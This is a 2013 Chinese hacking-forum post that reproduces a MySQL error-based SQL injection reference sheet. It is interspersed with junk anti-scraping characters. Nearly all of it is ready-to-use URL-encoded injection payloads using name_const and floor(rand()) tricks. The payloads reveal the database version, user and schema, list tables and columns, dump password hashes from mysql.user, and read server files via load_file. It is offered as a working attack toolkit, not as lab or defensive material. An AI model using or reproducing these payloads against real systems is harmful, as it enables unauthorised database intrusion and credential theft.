Mysql暴错注入参考（pdf）

admin

本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
; b  G  E! n- p9 l5 [  R

' \1 ]' j8 k( VMysql暴错注入参考（pdf），每天一贴。。。

  s0 T0 }4 R8 V5 r/ yMySql Error Based Injection Reference
' J# [% C0 o. o[Mysql暴错注入参考]
& Q" d! |. G  [( l2 G! H9 X7 x+ }Authornig0s1992
$ A- @' q* K5 p0 z0 h; {0 CBlog:http://pnig0s1992.blog.51cto.com/
; b  ~$ S6 U! @( S" DTeAm:http://www.FreeBuf.com/
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
" P7 z$ t  p: c* B8 ?: v小部分版本使用name_const()时会报错.可以用给出的Method.2测试
查询版本:
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
8 ~  p1 b  T6 \; H8 X, b9 I+ m8 mjoin+(select+name_const(@@version,0))b)c)
# Q1 H* L5 o0 W, i$ hMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
up by a)b)
查询当前用户:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
( Q. |$ \% J$ xand(0)*2))x+from+information_schema.tables+group+by+x)a)
) E9 J8 D6 v* l# R: X6 ^5 ]2 v, b! p, J查询当前数据库:
, S  K4 G2 R0 S3 E) `8 o7 PMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
) v5 a2 X6 h8 k  H4 f3 aor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
+ J9 i; y% X# B, j4 Y; J9 L依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
8 m4 Z/ t& ~! eLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
顺序替换
. ~% c. P: X( f爆指定库数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
+by+x)a)+and+1=1 0x6D7973716C=mysql
依次爆表:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
/ O3 ~  w  t( l( f" o6 L/ \) x# c$ X% Oable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
  j6 D7 H! p% Z; B+ \bles+group+by+x)a)+and+1=1
8 ]: e; ]0 G; |3 V0x6D7973716C=Mysql 将n顺序替换
爆表内字段数目:
2 E( G6 ^: F; x6 @. {and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
- M$ j% T7 u8 ^4 h6 Y" ~5 A& B+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
( ^1 U& q. ~' _4 u& I! Y2 S0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
依次爆字段:
3 |! |' e" w; S; @2 \- W5 Oand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
+ h- e$ c1 C0 Z+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
依次暴内容:
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
& r4 N) ~2 N2 a0 J9 Kma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
. a5 z: h% U1 N5 K; t  Y/ @/ g将n顺序替换
爆文件内容:
! j0 a2 V! u8 `9 ]; C9 K: N& oand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
from+information_schema.tables+group+by+a)b)
. V2 J1 F* H: e6 R" b9 N0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
. Z3 s/ I  W* n' DThx for reading.
2 O1 |% H5 ~3 l" z% U9 A5 }. d9 x
不要下载也可以，